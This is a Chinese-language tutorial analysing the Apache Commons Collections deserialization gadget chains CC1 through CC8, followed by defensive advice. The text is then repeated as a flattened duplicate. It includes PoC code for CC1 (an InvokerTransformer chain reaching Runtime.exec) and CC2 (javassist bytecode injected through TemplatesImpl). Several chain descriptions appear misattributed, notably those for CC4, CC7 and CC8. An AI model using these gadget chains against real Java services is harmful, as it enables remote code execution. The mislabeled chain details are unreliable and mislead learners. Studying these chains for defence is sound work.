CommonsCollections1-8
字数 1371 2025-08-05 13:25:32

Apache Commons Collections反序列化漏洞全解析(1-8)

概述

本文详细分析Apache Commons Collections 1-8反序列化漏洞(简称CC1-CC8)的原理、利用链构造和防御方法。这些漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。

核心原理

所有CC漏洞的核心在于利用Apache Commons Collections库中的Transformer接口及其实现类,通过反序列化过程触发恶意代码执行。关键接口和类包括:

  • Transformer接口:定义transform()方法
  • InvokerTransformer类:通过反射调用任意方法
  • ChainedTransformer类:将多个Transformer串联执行
  • LazyMap类:延迟执行Transformer

各版本漏洞详解

CommonsCollections1

利用链

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Proxy.entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

关键点

  1. 利用InvokerTransformer通过反射调用任意方法
  2. ChainedTransformer串联多个Transformer实现方法链调用
  3. 通过LazyMap.get()触发Transformer执行
  4. 使用动态代理在反序列化时自动调用invoke方法

PoC核心代码

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", null}),
    new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class},
        new Object[] {null, null}),
    new InvokerTransformer("exec",
        new Class[] {String.class},
        new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);

CommonsCollections2

利用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
            TransformingComparator.compare()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

关键点

  1. 利用PriorityQueue的反序列化触发比较操作
  2. 通过TransformingComparator调用Transformer
  3. 使用TemplatesImpl加载恶意字节码实现RCE

PoC核心代码

// 生成恶意字节码
CtClass payload = ClassPool.getDefault().get("EvilClass");
payload.setSuperclass(ClassPool.getDefault().get(ABSTRACT_TRANSLET));
payload.makeClassInitializer().insertAfter("Runtime.getRuntime().exec(...)");
byte[] bytecode = payload.toBytecode();

// 设置TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
setFieldValue(templates, "_name", "Pwn");

// 构造PriorityQueue
PriorityQueue queue = new PriorityQueue(2, 
    new TransformingComparator(new InvokerTransformer("newTransformer", null, null)));
queue.add(templates);
queue.add(templates);

CommonsCollections3

利用链
与CC2类似,但使用InstantiateTransformer替代InvokerTransformer直接实例化恶意类。

关键点

  1. 使用InstantiateTransformer直接实例化类
  2. 结合TrAXFilter触发TemplatesImpl的newTransformer方法

CommonsCollections4

利用链
结合CC1的LazyMap触发方式和CC2的TemplatesImpl加载字节码方式。

CommonsCollections5

利用链

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        TiedMapEntry.getValue()
            LazyMap.get()
                ChainedTransformer.transform()
                    ...

关键点

  1. 利用BadAttributeValueExpException的反序列化
  2. 通过TiedMapEntry的toString触发getValue
  3. 最终调用LazyMap.get()触发Transformer链

CommonsCollections6

与CC5类似,但使用HashSet作为触发入口。

CommonsCollections7

利用链

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        ...

CommonsCollections8

利用链

Hashtable.readObject()
    Hashtable.reconstitutionPut()
        AbstractMapDecorator.equals()
            AbstractMap.equals()
                LazyMap.get()
                    ...

防御措施

  1. 升级Apache Commons Collections到最新安全版本
  2. 使用SerialKiller等工具过滤恶意序列化数据
  3. 配置Java安全管理器限制危险操作
  4. 对反序列化操作进行严格的白名单控制

总结

CC1-CC8漏洞展示了反序列化漏洞的多种利用方式,核心都是通过精心构造的Transformer链最终执行任意代码。理解这些漏洞有助于开发者更好地防御类似安全问题。

Apache Commons Collections反序列化漏洞全解析(1-8) 概述 本文详细分析Apache Commons Collections 1-8反序列化漏洞(简称CC1-CC8)的原理、利用链构造和防御方法。这些漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。 核心原理 所有CC漏洞的核心在于利用Apache Commons Collections库中的Transformer接口及其实现类,通过反序列化过程触发恶意代码执行。关键接口和类包括: Transformer 接口:定义 transform() 方法 InvokerTransformer 类:通过反射调用任意方法 ChainedTransformer 类:将多个Transformer串联执行 LazyMap 类:延迟执行Transformer 各版本漏洞详解 CommonsCollections1 利用链 : 关键点 : 利用 InvokerTransformer 通过反射调用任意方法 ChainedTransformer 串联多个Transformer实现方法链调用 通过 LazyMap.get() 触发Transformer执行 使用动态代理在反序列化时自动调用 invoke 方法 PoC核心代码 : CommonsCollections2 利用链 : 关键点 : 利用 PriorityQueue 的反序列化触发比较操作 通过 TransformingComparator 调用Transformer 使用 TemplatesImpl 加载恶意字节码实现RCE PoC核心代码 : CommonsCollections3 利用链 : 与CC2类似,但使用 InstantiateTransformer 替代 InvokerTransformer 直接实例化恶意类。 关键点 : 使用 InstantiateTransformer 直接实例化类 结合 TrAXFilter 触发TemplatesImpl的newTransformer方法 CommonsCollections4 利用链 : 结合CC1的LazyMap触发方式和CC2的TemplatesImpl加载字节码方式。 CommonsCollections5 利用链 : 关键点 : 利用 BadAttributeValueExpException 的反序列化 通过 TiedMapEntry 的toString触发getValue 最终调用LazyMap.get()触发Transformer链 CommonsCollections6 与CC5类似,但使用HashSet作为触发入口。 CommonsCollections7 利用链 : CommonsCollections8 利用链 : 防御措施 升级Apache Commons Collections到最新安全版本 使用SerialKiller等工具过滤恶意序列化数据 配置Java安全管理器限制危险操作 对反序列化操作进行严格的白名单控制 总结 CC1-CC8漏洞展示了反序列化漏洞的多种利用方式,核心都是通过精心构造的Transformer链最终执行任意代码。理解这些漏洞有助于开发者更好地防御类似安全问题。